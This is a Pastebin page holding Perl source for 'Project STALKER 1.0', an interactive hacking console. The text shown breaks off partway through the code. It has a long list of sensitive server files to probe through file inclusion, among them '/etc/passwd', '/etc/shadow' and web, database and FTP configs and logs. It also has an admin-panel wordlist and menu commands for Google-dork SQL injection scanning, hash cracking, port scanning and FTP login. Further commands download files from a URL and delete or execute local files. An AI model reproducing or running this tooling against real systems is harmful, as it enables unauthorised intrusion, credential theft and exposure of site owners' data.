Doddy

Project STALKER 1.0 (Codigo identado)

Aug 14th, 2012
600
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 65.43 KB | None | 0 0
  1. #!usr/bin/perl
  2. #Project STALKER 1.0
  3. #(C) Doddy Hackman 2012
  4. #
  5. #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
  6. #ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
  7. #http://search.cpan.org/~animator/Color-Output-1.05/Output.pm
  8.  
  9. use IO::Socket;
  10. use HTML::LinkExtor;
  11. use LWP::UserAgent;
  12. use Win32;                ## Comment this line for Linux
  13. use Win32::OLE qw(in);    ## Comment this line for Linux
  14. use Win32::Process;       ## Comment this line for Linux
  15. use Net::FTP;
  16. use Cwd;
  17. use URI::Split qw(uri_split);
  18. use MIME::Base64;
  19. use DBI;                  ## Comment this line for Linux
  20. use URI::Escape;
  21.  
  22. use Color::Output;
  23. Color::Output::Init
  24.  
  25.   my @files = (
  26.     'C:/xampp/htdocs/aca.txt',
  27.     'C:/xampp/htdocs/aca.txt',
  28.     'C:/xampp/htdocs/admin.php',
  29.     'C:/xampp/htdocs/leer.txt',
  30.     '../../../boot.ini',
  31.     '../../../../boot.ini',
  32.     '../../../../../boot.ini',
  33.     '../../../../../../boot.ini',
  34.     '/etc/passwd',
  35.     '/etc/shadow',
  36.     '/etc/shadow~',
  37.     '/etc/hosts',
  38.     '/etc/motd',
  39.     '/etc/apache/apache.conf',
  40.     '/etc/fstab',
  41.     '/etc/apache2/apache2.conf',
  42.     '/etc/apache/httpd.conf',
  43.     '/etc/httpd/conf/httpd.conf',
  44.     '/etc/apache2/httpd.conf',
  45.     '/etc/apache2/sites-available/default',
  46.     '/etc/mysql/my.cnf',
  47.     '/etc/my.cnf',
  48.     '/etc/sysconfig/network-scripts/ifcfg-eth0',
  49.     '/etc/redhat-release',
  50.     '/etc/httpd/conf.d/php.conf',
  51.     '/etc/pam.d/proftpd',
  52.     '/etc/phpmyadmin/config.inc.php',
  53.     '/var/www/config.php',
  54.     '/etc/httpd/logs/error_log',
  55.     '/etc/httpd/logs/error.log',
  56.     '/etc/httpd/logs/access_log',
  57.     '/etc/httpd/logs/access.log',
  58.     '/var/log/apache/error_log',
  59.     '/var/log/apache/error.log',
  60.     '/var/log/apache/access_log',
  61.     '/var/log/apache/access.log',
  62.     '/var/log/apache2/error_log',
  63.     '/var/log/apache2/error.log',
  64.     '/var/log/apache2/access_log',
  65.     '/var/log/apache2/access.log',
  66.     '/var/www/logs/error_log',
  67.     '/var/www/logs/error.log',
  68.     '/var/www/logs/access_log',
  69.     '/var/www/logs/access.log',
  70.     '/usr/local/apache/logs/error_log',
  71.     '/usr/local/apache/logs/error.log',
  72.     '/usr/local/apache/logs/access_log',
  73.     '/usr/local/apache/logs/access.log',
  74.     '/var/log/error_log',
  75.     '/var/log/error.log',
  76.     '/var/log/access_log',
  77.     '/var/log/access.log',
  78.     '/etc/group',
  79.     '/etc/security/group',
  80.     '/etc/security/passwd',
  81.     '/etc/security/user',
  82.     '/etc/security/environ',
  83.     '/etc/security/limits',
  84.     '/usr/lib/security/mkuser.default',
  85.     '/apache/logs/access.log',
  86.     '/apache/logs/error.log',
  87.     '/etc/httpd/logs/acces_log',
  88.     '/etc/httpd/logs/acces.log',
  89.     '/var/log/httpd/access_log',
  90.     '/var/log/httpd/error_log',
  91.     '/apache2/logs/error.log',
  92.     '/apache2/logs/access.log',
  93.     '/logs/error.log',
  94.     '/logs/access.log',
  95.     '/usr/local/apache2/logs/access_log',
  96.     '/usr/local/apache2/logs/access.log',
  97.     '/usr/local/apache2/logs/error_log',
  98.     '/usr/local/apache2/logs/error.log',
  99.     '/var/log/httpd/access.log',
  100.     '/var/log/httpd/error.log',
  101.     '/opt/lampp/logs/access_log',
  102.     '/opt/lampp/logs/error_log',
  103.     '/opt/xampp/logs/access_log',
  104.     '/opt/xampp/logs/error_log',
  105.     '/opt/lampp/logs/access.log',
  106.     '/opt/lampp/logs/error.log',
  107.     '/opt/xampp/logs/access.log',
  108.     '/opt/xampp/logs/error.log',
  109.     'C:\ProgramFiles\ApacheGroup\Apache\logs\access.log',
  110.     'C:\ProgramFiles\ApacheGroup\Apache\logs\error.log',
  111.     '/usr/local/apache/conf/httpd.conf',
  112.     '/usr/local/apache2/conf/httpd.conf',
  113.     '/etc/apache/conf/httpd.conf',
  114.     '/usr/local/etc/apache/conf/httpd.conf',
  115.     '/usr/local/apache/httpd.conf',
  116.     '/usr/local/apache2/httpd.conf',
  117.     '/usr/local/httpd/conf/httpd.conf',
  118.     '/usr/local/etc/apache2/conf/httpd.conf',
  119.     '/usr/local/etc/httpd/conf/httpd.conf',
  120.     '/usr/apache2/conf/httpd.conf',
  121.     '/usr/apache/conf/httpd.conf',
  122.     '/usr/local/apps/apache2/conf/httpd.conf',
  123.     '/usr/local/apps/apache/conf/httpd.conf',
  124.     '/etc/apache2/conf/httpd.conf',
  125.     '/etc/http/conf/httpd.conf',
  126.     '/etc/httpd/httpd.conf',
  127.     '/etc/http/httpd.conf',
  128.     '/etc/httpd.conf',
  129.     '/opt/apache/conf/httpd.conf',
  130.     '/opt/apache2/conf/httpd.conf',
  131.     '/var/www/conf/httpd.conf',
  132.     '/private/etc/httpd/httpd.conf',
  133.     '/private/etc/httpd/httpd.conf.default',
  134.     '/Volumes/webBackup/opt/apache2/conf/httpd.conf',
  135.     '/Volumes/webBackup/private/etc/httpd/httpd.conf',
  136.     '/Volumes/webBackup/private/etc/httpd/httpd.conf.default',
  137.     'C:\ProgramFiles\ApacheGroup\Apache\conf\httpd.conf',
  138.     'C:\ProgramFiles\ApacheGroup\Apache2\conf\httpd.conf',
  139.     'C:\ProgramFiles\xampp\apache\conf\httpd.conf',
  140.     '/usr/local/php/httpd.conf.php',
  141.     '/usr/local/php4/httpd.conf.php',
  142.     '/usr/local/php5/httpd.conf.php',
  143.     '/usr/local/php/httpd.conf',
  144.     '/usr/local/php4/httpd.conf',
  145.     '/usr/local/php5/httpd.conf',
  146.     '/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf',
  147.     '/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf',
  148.     '/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf',
  149.     '/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php',
  150.     '/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php',
  151.     '/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php',
  152.     '/usr/local/etc/apache/vhosts.conf',
  153.     '/etc/php.ini',
  154.     '/bin/php.ini',
  155.     '/etc/httpd/php.ini',
  156.     '/usr/lib/php.ini',
  157.     '/usr/lib/php/php.ini',
  158.     '/usr/local/etc/php.ini',
  159.     '/usr/local/lib/php.ini',
  160.     '/usr/local/php/lib/php.ini',
  161.     '/usr/local/php4/lib/php.ini',
  162.     '/usr/local/php5/lib/php.ini',
  163.     '/usr/local/apache/conf/php.ini',
  164.     '/etc/php4.4/fcgi/php.ini',
  165.     '/etc/php4/apache/php.ini',
  166.     '/etc/php4/apache2/php.ini',
  167.     '/etc/php5/apache/php.ini',
  168.     '/etc/php5/apache2/php.ini',
  169.     '/etc/php/php.ini',
  170.     '/etc/php/php4/php.ini',
  171.     '/etc/php/apache/php.ini',
  172.     '/etc/php/apache2/php.ini',
  173.     '/web/conf/php.ini',
  174.     '/usr/local/Zend/etc/php.ini',
  175.     '/opt/xampp/etc/php.ini',
  176.     '/var/local/www/conf/php.ini',
  177.     '/etc/php/cgi/php.ini',
  178.     '/etc/php4/cgi/php.ini',
  179.     '/etc/php5/cgi/php.ini',
  180.     'c:\php5\php.ini',
  181.     'c:\php4\php.ini',
  182.     'c:\php\php.ini',
  183.     'c:\PHP\php.ini',
  184.     'c:\WINDOWS\php.ini',
  185.     'c:\WINNT\php.ini',
  186.     'c:\apache\php\php.ini',
  187.     'c:\xampp\apache\bin\php.ini',
  188.     'c:\NetServer\bin\stable\apache\php.ini',
  189.     'c:\home2\bin\stable\apache\php.ini',
  190.     'c:\home\bin\stable\apache\php.ini',
  191.     '/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini',
  192.     '/usr/local/cpanel/logs',
  193.     '/usr/local/cpanel/logs/stats_log',
  194.     '/usr/local/cpanel/logs/access_log',
  195.     '/usr/local/cpanel/logs/error_log',
  196.     '/usr/local/cpanel/logs/license_log',
  197.     '/usr/local/cpanel/logs/login_log',
  198.     '/var/cpanel/cpanel.config',
  199.     '/var/log/mysql/mysql-bin.log',
  200.     '/var/log/mysql.log',
  201.     '/var/log/mysqlderror.log',
  202.     '/var/log/mysql/mysql.log',
  203.     '/var/log/mysql/mysql-slow.log',
  204.     '/var/mysql.log',
  205.     '/var/lib/mysql/my.cnf',
  206.     'C:\ProgramFiles\MySQL\MySQLServer5.0\data\hostname.err',
  207.     'C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.log',
  208.     'C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.err',
  209.     'C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql-bin.log',
  210.     'C:\ProgramFiles\MySQL\data\hostname.err',
  211.     'C:\ProgramFiles\MySQL\data\mysql.log',
  212.     'C:\ProgramFiles\MySQL\data\mysql.err',
  213.     'C:\ProgramFiles\MySQL\data\mysql-bin.log',
  214.     'C:\MySQL\data\hostname.err',
  215.     'C:\MySQL\data\mysql.log',
  216.     'C:\MySQL\data\mysql.err',
  217.     'C:\MySQL\data\mysql-bin.log',
  218.     'C:\ProgramFiles\MySQL\MySQLServer5.0\my.ini',
  219.     'C:\ProgramFiles\MySQL\MySQLServer5.0\my.cnf',
  220.     'C:\ProgramFiles\MySQL\my.ini',
  221.     'C:\ProgramFiles\MySQL\my.cnf',
  222.     'C:\MySQL\my.ini',
  223.     'C:\MySQL\my.cnf',
  224.     '/etc/logrotate.d/proftpd',
  225.     '/www/logs/proftpd.system.log',
  226.     '/var/log/proftpd',
  227.     '/etc/proftp.conf',
  228.     '/etc/protpd/proftpd.conf',
  229.     '/etc/vhcs2/proftpd/proftpd.conf',
  230.     '/etc/proftpd/modules.conf',
  231.     '/var/log/vsftpd.log',
  232.     '/etc/vsftpd.chroot_list',
  233.     '/etc/logrotate.d/vsftpd.log',
  234.     '/etc/vsftpd/vsftpd.conf',
  235.     '/etc/vsftpd.conf',
  236.     '/etc/chrootUsers',
  237.     '/var/log/xferlog',
  238.     '/var/adm/log/xferlog',
  239.     '/etc/wu-ftpd/ftpaccess',
  240.     '/etc/wu-ftpd/ftphosts',
  241.     '/etc/wu-ftpd/ftpusers',
  242.     '/usr/sbin/pure-config.pl',
  243.     '/usr/etc/pure-ftpd.conf',
  244.     '/etc/pure-ftpd/pure-ftpd.conf',
  245.     '/usr/local/etc/pure-ftpd.conf',
  246.     '/usr/local/etc/pureftpd.pdb',
  247.     '/usr/local/pureftpd/etc/pureftpd.pdb',
  248.     '/usr/local/pureftpd/sbin/pure-config.pl',
  249.     '/usr/local/pureftpd/etc/pure-ftpd.conf',
  250.     '/etc/pure-ftpd/pure-ftpd.pdb',
  251.     '/etc/pureftpd.pdb',
  252.     '/etc/pureftpd.passwd',
  253.     '/etc/pure-ftpd/pureftpd.pdb',
  254.     '/var/log/pure-ftpd/pure-ftpd.log',
  255.     '/logs/pure-ftpd.log',
  256.     '/var/log/pureftpd.log',
  257.     '/var/log/ftp-proxy/ftp-proxy.log',
  258.     '/var/log/ftp-proxy',
  259.     '/var/log/ftplog',
  260.     '/etc/logrotate.d/ftp',
  261.     '/etc/ftpchroot',
  262.     '/etc/ftphosts',
  263.     '/var/log/exim_mainlog',
  264.     '/var/log/exim/mainlog',
  265.     '/var/log/maillog',
  266.     '/var/log/exim_paniclog',
  267.     '/var/log/exim/paniclog',
  268.     '/var/log/exim/rejectlog',
  269.     '/var/log/exim_rejectlog'
  270.   );
  271.  
  272. @panels = (
  273.     'admin/admin.asp', 'admin/login.asp', 'admin/index.asp', 'admin/admin.aspx'
  274.     , 'admin/login.aspx', 'admin/index.aspx', 'admin/webmaster.asp',
  275.     'admin/webmaster.aspx'
  276.     , 'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
  277.     'asp/admin/admin.aspx'
  278.     , 'asp/admin/webmaster.asp', 'asp/admin/webmaster.aspx', 'admin/',
  279.     'login.asp', 'login.aspx'
  280.     , 'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
  281.     'login/index.asp', 'login/index.aspx'
  282.     , 'login/login.asp', 'login/login.aspx', 'login/admin.asp',
  283.     'login/admin.aspx'
  284.     , 'administracion/index.asp', 'administracion/index.aspx',
  285.     'administracion/login.asp'
  286.     , 'administracion/login.aspx', 'administracion/webmaster.asp',
  287.     'administracion/webmaster.aspx'
  288.     , 'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
  289.     'admin/admin.php'
  290.     , 'admin/index.php', 'admin/login.php', 'admin/system.php',
  291.     'admin/ingresar.php'
  292.     , 'admin/administrador.php', 'admin/default.php', 'administracion/',
  293.     'administracion/index.php'
  294.     , 'administracion/login.php', 'administracion/ingresar.php',
  295.     'administracion/admin.php'
  296.     , 'administration/', 'administration/index.php', 'administration/login.php'
  297.     , 'administrator/index.php', 'administrator/login.php',
  298.     'administrator/system.php', 'system/'
  299.     , 'system/login.php', 'admin.php', 'login.php', 'administrador.php',
  300.     'administration.php'
  301.     , 'administrator.php', 'admin1.html', 'admin1.php', 'admin2.php',
  302.     'admin2.html', 'yonetim.php'
  303.     , 'yonetim.html', 'yonetici.php', 'yonetici.html', 'adm/',
  304.     'admin/account.php', 'admin/account.html'
  305.     , 'admin/index.html', 'admin/login.html', 'admin/home.php',
  306.     'admin/controlpanel.html'
  307.     , 'admin/controlpanel.php', 'admin.html', 'admin/cp.php', 'admin/cp.html',
  308.     'cp.php', 'cp.html'
  309.     , 'administrator/', 'administrator/index.html', 'administrator/login.html'
  310.     , 'administrator/account.html', 'administrator/account.php',
  311.     'administrator.html', 'login.html'
  312.     , 'modelsearch/login.php', 'moderator.php', 'moderator.html',
  313.     'moderator/login.php'
  314.     , 'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
  315.     'moderator/'
  316.     , 'account.php', 'account.html', 'controlpanel/', 'controlpanel.php',
  317.     'controlpanel.html'
  318.     , 'admincontrol.php', 'admincontrol.html', 'adminpanel.php',
  319.     'adminpanel.html', 'admin1.asp'
  320.     , 'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
  321.     'admin/home.asp'
  322.     , 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
  323.     'administrator/index.asp'
  324.     , 'administrator/login.asp', 'administrator/account.asp',
  325.     'administrator.asp'
  326.     , 'modelsearch/login.asp', 'moderator.asp', 'moderator/login.asp',
  327.     'moderator/admin.asp'
  328.     , 'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
  329.     'fileadmin/'
  330.     , 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html', 'administration.html',
  331.     'sysadmin.php'
  332.     , 'sysadmin.html', 'phpmyadmin/', 'myadmin/', 'sysadmin.asp', 'sysadmin/',
  333.     'ur-admin.asp'
  334.     , 'ur-admin.php', 'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html'
  335.     , 'Server.asp', 'Server/', 'wp-admin/', 'administr8.php', 'administr8.html'
  336.     , 'administr8/', 'administr8.asp', 'webadmin/', 'webadmin.php',
  337.     'webadmin.asp'
  338.     , 'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp'
  339.     , 'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/'
  340.     , 'useradmin/', 'sysadmins/', 'admin1/', 'system-administration/',
  341.     'administrators/'
  342.     , 'pgadmin/', 'directadmin/', 'staradmin/', 'ServerAdministrator/',
  343.     'SysAdmin/'
  344.     , 'administer/', 'LiveUser_Admin/', 'sys-admin/', 'typo3/', 'panel/',
  345.     'cpanel/'
  346.     , 'cPanel/', 'cpanel_file/', 'platz_login/', 'rcLogin/', 'blogindex/',
  347.     'formslogin/
  348. ', 'autologin/', 'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/
  349. ', 'loginflat/', 'utility_login/', 'showlogin/',  'memlogin/',    'members/',
  350.     'login-redirect/
  351. ', 'sub-login/', 'wp-login/', 'login1/', 'dir-login/', 'login_db/', 'xlogin/',
  352.     'smblogin/
  353. ', 'customer_login/', 'UserLogin/', 'login-us/', 'acct_login/', 'admin_area/',
  354.     'bigadmin/'
  355.     , 'project-admins/', 'phppgadmin/', 'pureadmin/', 'sql-admin/', 'radmind/',
  356.     'openvpnadmin/'
  357.     , 'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
  358.     'newsadmin/', 'adminpro/'
  359.     , 'Lotus_Domino_Admin/', 'bbadmin/', 'vmailadmin/', 'Indy_admin/',
  360.     'ccp14admin/'
  361.     , 'irc-macadmin/', 'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/'
  362.     , 'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind-1/'
  363.     , 'Super-Admin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/'
  364.     , 'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
  365.     'logo_sysadmin/'
  366.     , 'server/', 'database_administration/', 'power_user/',
  367.     'system_administration/'
  368.     , 'ss_vms_admin_sm/'
  369. );
  370.  
  371. unless ( -d "/logs/webs" ) {
  372.     mkdir( "logs/",      777 );
  373.     mkdir( "logs/webs/", 777 );
  374. }
  375.  
  376. my $nave = LWP::UserAgent->new;
  377. $nave->agent(
  378. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  379. );
  380. $nave->timeout(5);
  381.  
  382. head();
  383.  
  384. getinfo();    ## Comment this line for Linux
  385.  
  386. $SIG{INT} = \&next;    ## Comment on this line to compile to exe
  387.  
  388. while (1) {
  389.  
  390.     menujo();
  391.  
  392. }
  393.  
  394. sub getinfo {
  395.  
  396.     $so     = Win32::GetOSName();
  397.     $login  = Win32::LoginName();
  398.     $domain = Win32::DomainName();
  399.     cprint "\x0313";    #13
  400.     print "\n\n[OS] : $so [Login] : $login [Group] : $domain\n\n";
  401.     cprint "\x030";
  402. }
  403.  
  404. sub menujo {
  405.  
  406.     print "\n\n";
  407.     cprint "\x035r00t\x030";     #13
  408.     cprint "\x033 ~ # \x030";    #13
  409.  
  410.     cprint "\x037";
  411.  
  412.     chomp( my $cmd = <stdin> );
  413.     print "\n\n";
  414.  
  415. ###############################################################################
  416.  
  417.     if ( $cmd eq "cmd_getinfo" ) {
  418.         getinfo();
  419.     }
  420.     elsif ( $cmd =~ /cmd_getip(.*)/ ) {
  421.         my $te = $1;
  422.         $te =~ s/ //;
  423.         if ( $te eq "" or $te eq " " ) {
  424.             print "\n[+] sintax : cmd_getip <host>\n";
  425.         }
  426.         else {
  427.             print "\n[IP] : " . getip($te) . "\n";
  428.             print "\n";
  429.         }
  430.     }
  431.  
  432.     elsif ( $cmd =~ /cmd_whois(.*)/ ) {
  433.         my $te = $1;
  434.         $te =~ s/ //;
  435.         if ( $te eq "" or $te eq " " ) {
  436.             print "\n[+] sintax : cmd_whois <host>\n";
  437.         }
  438.         else {
  439.             print "[+] Getting data\n\n";
  440.             print whois($te);
  441.             print "\n\n";
  442.         }
  443.     }
  444.  
  445.     elsif ( $cmd =~ /cmd_locate(.*)/ ) {
  446.         my $te = $1;
  447.         $te =~ s/ //;
  448.         if ( $te eq "" or $te eq " " ) {
  449.             print "\n[+] sintax : cmd_locate <host>\n";
  450.         }
  451.         else {
  452.             infocon($te);
  453.             print "\n\n";
  454.         }
  455.     }
  456.  
  457.     elsif ( $cmd =~ /cmd_getlinks(.*)/ ) {
  458.         my $te = $1;
  459.         $te =~ s/ //;
  460.         if ( $te eq "" or $te eq " " ) {
  461.             print "\n[+] sintax : cmd_getlinks <page>\n";
  462.         }
  463.         else {
  464.             print "[+] Extracting links in the page\n\n\n";
  465.             $code = toma($te);
  466.             my @re = get_links($code);
  467.             for my $url (@re) {
  468.                 print "[Link] : $url\n";
  469.             }
  470.             print "\n\n[+] Finish\n";
  471.         }
  472.     }
  473.  
  474.     elsif ( $cmd eq "cmd_help" ) {
  475.         helpme();
  476.     }
  477.  
  478.     elsif ( $cmd eq "cmd_getprocess" ) {
  479.         my %re = getprocess();
  480.  
  481.         for my $data ( keys %re ) {
  482.             ( $proceso, $pid ) = ( $t =~ /(.*):(.*)/ig );
  483.             print "[+] Proceso : " . $data . "\n";
  484.             print "[+] PID : " . $re{$data} . "\n\n";
  485.         }
  486.     }
  487.     elsif ( $cmd =~ /cmd_killprocess(.*)/ ) {
  488.         my $te = $1;
  489.         $te =~ s/ //;
  490.         if ( $te eq "" or $te eq " " ) {
  491.             print "\n[+] sintax : cmd_killprocess <pid>\n";
  492.         }
  493.         else {
  494.             if ( killprocess($te) ) {
  495.                 print "[+] Process closed\n";
  496.             }
  497.         }
  498.  
  499.     }
  500.     elsif ( $cmd =~ /cmd_conec(.*)/ ) {
  501.         my $te = $1;
  502.         $te =~ s/ //;
  503.         if ( $te eq "" or $te eq " " ) {
  504.             print "\n[+] sintax : cmd_conec <host> <port> <command>\n";
  505.         }
  506.         else {
  507.             if ( $cmd =~ /cmd_conec (.*) (.*) (.*)/ ) {
  508.                 my ( $a, $b, $c ) = ( $1, $2, $3 );
  509.                 print conectar( $a, $b, $c );
  510.             }
  511.         }
  512.     }
  513.  
  514.     elsif ( $cmd =~ /cmd_allow(.*)/ ) {
  515.  
  516.         my $te = $1;
  517.         $te =~ s/ //;
  518.         if ( $te eq "" or $te eq " " ) {
  519.             print "\n[+] sintax : cmd_allow <host>\n";
  520.         }
  521.         else {
  522.             $re = conectar( $te, "80", "GET / HTTP/1.0\r\n" );
  523.             if ( $re =~ /Allow:(.*)/ig ) {
  524.                 print "[+] Allow : " . $1 . "\n";
  525.             }
  526.             else {
  527.                 print "\n[-] Not Found\n";
  528.             }
  529.         }
  530.     }
  531.  
  532.     elsif ( $cmd =~ /cmd_paths(.*)/ ) {
  533.         my $te = $1;
  534.         $te =~ s/ //;
  535.         if ( $te eq "" or $te eq " " ) {
  536.             print "\n[+] sintax : cmd_paths <page>\n";
  537.         }
  538.         else {
  539.             scanpaths($te);
  540.         }
  541.     }
  542.  
  543.     elsif ( $cmd =~ /cmd_encodehex(.*)/ ) {
  544.         my $te = $1;
  545.         $te =~ s/ //;
  546.         if ( $te eq "" or $te eq " " ) {
  547.             print "\n[+] sintax : cmd_encodehex <text>\n";
  548.         }
  549.         else {
  550.             print "\n\n[+] " . hex_en($te) . "\n\n";
  551.         }
  552.     }
  553.  
  554.     elsif ( $cmd =~ /cmd_decodehex(.*)/ ) {
  555.         my $te = $1;
  556.         $te =~ s/ //;
  557.         if ( $te eq "" or $te eq " " ) {
  558.             print "\n[+] sintax : cmd_decodehex <text>\n";
  559.         }
  560.         else {
  561.             print "\n\n[+] " . hex_de($te) . "\n\n";
  562.         }
  563.     }
  564.  
  565.     elsif ( $cmd =~ /cmd_download(.*)/ ) {
  566.  
  567.         my $te = $1;
  568.         $te =~ s/ //;
  569.         if ( $te eq "" or $te eq " " ) {
  570.             print "\n[+] sintax : cmd_download <url>\n";
  571.         }
  572.         else {
  573.  
  574.             my $file = $te;
  575.             my ( $scheme, $auth, $path, $query, $frag ) = uri_split($te);
  576.  
  577.             if ( $path =~ /(.*)\/(.*)$/ ) {
  578.                 my $file = $2;
  579.  
  580.                 print "[+] Downloading ...\n";
  581.  
  582.                 if ( download( $te, $file ) ) {
  583.                     print "[+] File downloaded\n";
  584.                 }
  585.             }
  586.         }
  587.  
  588.     }
  589.  
  590.     elsif ( $cmd =~ /cmd_encodeascii(.*)/ ) {
  591.  
  592.         my $te = $1;
  593.         $te =~ s/ //;
  594.         if ( $te eq "" or $te eq " " ) {
  595.             print "\n[+] sintax : cmd_encodeascii <text>\n";
  596.         }
  597.         else {
  598.             print "\n\n[+] " . ascii($te) . "\n\n";
  599.         }
  600.  
  601.     }
  602.  
  603.     elsif ( $cmd =~ /cmd_decodeascii(.*)/ ) {
  604.  
  605.         my $te = $1;
  606.         $te =~ s/ //;
  607.         if ( $te eq "" or $te eq " " ) {
  608.             print "\n[+] sintax : cmd_decodeascii <text>\n";
  609.         }
  610.         else {
  611.             print "\n\n[+] " . ascii_de($te) . "\n\n";
  612.         }
  613.  
  614.     }
  615.  
  616.     elsif ( $cmd =~ /cmd_encodebase(.*)/ ) {
  617.  
  618.         my $te = $1;
  619.         $te =~ s/ //;
  620.         if ( $te eq "" or $te eq " " ) {
  621.             print "\n[+] sintax : cmd_encodebase <text>\n";
  622.         }
  623.         else {
  624.             print "\n\n[+] " . base($te) . "\n\n";
  625.         }
  626.  
  627.     }
  628.  
  629.     elsif ( $cmd =~ /cmd_decodebase(.*)/ ) {
  630.         my $te = $1;
  631.         $te =~ s/ //;
  632.         if ( $te eq "" or $te eq " " ) {
  633.             print "\n[+] sintax : cmd_decodebase <text>\n";
  634.         }
  635.         else {
  636.             print "\n\n[+] " . base_de($te) . "\n\n";
  637.         }
  638.     }
  639.  
  640.     elsif ( $cmd eq "cmd_aboutme" ) {
  641.         aboutme();
  642.     }
  643.  
  644.     elsif ( $cmd =~ /cmd_scanport(.*)/ ) {
  645.         my $te = $1;
  646.         $te =~ s/ //;
  647.         if ( $te eq "" or $te eq " " ) {
  648.             print "\n[+] sintax : cmd_scanport <host>\n";
  649.         }
  650.         else {
  651.             scanport($te);
  652.         }
  653.     }
  654.  
  655.     elsif ( $cmd =~ /cmd_panel(.*)/ ) {
  656.         my $te = $1;
  657.         $te =~ s/ //;
  658.         if ( $te eq "" or $te eq " " ) {
  659.             print "\n[+] sintax : cmd_panel <web>\n";
  660.         }
  661.         else {
  662.             scanpanel($te);
  663.         }
  664.  
  665.     }
  666.  
  667.     elsif ( $cmd =~ /cmd_scangoogle/ ) {
  668.         print "[Dork] : ";
  669.         chomp( my $dork = <stdin> );
  670.         print "\n\n[Pages] : ";
  671.         chomp( my $pages = <stdin> );
  672.         print "\n\n[Starting the search]\n\n";
  673.         my @links = google( $dork, $pages );
  674.         print "\n[Links Found] : " . int(@links) . "\n\n\n";
  675.         print "[Starting the scan]\n\n\n";
  676.  
  677.         for my $link (@links) {
  678.             if ( $link =~ /(.*)=/ig ) {
  679.                 my $web = $1;
  680.                 sql( $web . "=" );
  681.             }
  682.         }
  683.         print "\n\n[+] Finish\n";
  684.     }
  685.  
  686.     elsif ( $cmd =~ /cmd_getpass(.*)/ ) {
  687.         my $te = $1;
  688.         $te =~ s/ //;
  689.         if ( $te eq "" or $te eq " " ) {
  690.             print "\n[+] sintax : cmd_getpass <hash>\n";
  691.         }
  692.         else {
  693.             my $ha = $te;
  694.             if ( ver_length($ha) ) {
  695.                 print "[+] Cracking Hash...\n";
  696.                 my $re = crackit($ha);
  697.                 unless ( $re =~ /false01/ ) {
  698.                     print "\n\n[+] Cracked : $re\n\n";
  699.                     saveyes( "logs/hashes-found.txt", $ha . ":" . $re );
  700.                 }
  701.                 else {
  702.                     print "\n[-] Not Found\n\n";
  703.                 }
  704.             }
  705.             else {
  706.                 print "\n\n[-] Hash invalid\n\n";
  707.             }
  708.         }
  709.  
  710.     }
  711.  
  712.     elsif ( $cmd =~ /cmd_ftp(.*)/ ) {
  713.         my $te = $1;
  714.         $te =~ s/ //;
  715.         if ( $te eq "" or $te eq " " ) {
  716.             print "\n[+] sintax : cmd_ftp <host> <user> <pass>\n";
  717.         }
  718.         else {
  719.             if ( $cmd =~ /cmd_ftp (.*) (.*) (.*)/ ) {
  720.                 ftp( $1, $2, $3 );
  721.             }
  722.         }
  723.     }
  724.  
  725.     elsif ( $cmd eq "cmd_navegator" ) {
  726.       nave:
  727.         print getcwd() . ">";
  728.         chomp( my $rta = <stdin> );
  729.         print "\n\n";
  730.         if ( $rta =~ /list/ ) {
  731.             my @files = coleccionar( getcwd() );
  732.             for (@files) {
  733.                 if ( -f $_ ) {
  734.                     print "[File] : " . $_ . "\n";
  735.                 }
  736.                 else {
  737.                     print "[Directory] : " . $_ . "\n";
  738.                 }
  739.             }
  740.         }
  741.         if ( $rta =~ /cd (.*)/ ) {
  742.             my $dir = $1;
  743.             if ( chdir($dir) ) {
  744.                 print "\n[+] Directory changed\n";
  745.             }
  746.             else {
  747.                 print "\n[-] Error\n";
  748.             }
  749.         }
  750.         if ( $rta =~ /del (.*)/ ) {
  751.             my $file = getcwd() . "/" . $1;
  752.             if ( -f $file ) {
  753.                 if ( unlink($file) ) {
  754.                     print "\n[+] File Deleted\n";
  755.                 }
  756.                 else {
  757.                     print "\n[-] Error\n";
  758.                 }
  759.             }
  760.             else {
  761.                 if ( rmdir($file) ) {
  762.                     print "\n[+] Directory Deleted\n";
  763.                 }
  764.                 else {
  765.                     print "\n[-] Error\n";
  766.                 }
  767.             }
  768.         }
  769.         if ( $rta =~ /rename (.*) (.*)/ ) {
  770.             if ( rename( getcwd() . "/" . $1, getcwd() . "/" . $2 ) ) {
  771.                 print "\n[+] File Changed\n";
  772.             }
  773.             else {
  774.                 print "\n[-] Error\n";
  775.             }
  776.         }
  777.         if ( $rta =~ /open (.*)/ ) {
  778.             my $file = $1;
  779.             chomp $file;
  780.             system($file);
  781.  
  782.             #system(getcwd()."/".$file);
  783.         }
  784.  
  785.         if ( $rta eq "help" ) {
  786.             print "\nCommands :
  787.  
  788. help
  789. cd <dir>
  790. list
  791. del <del>
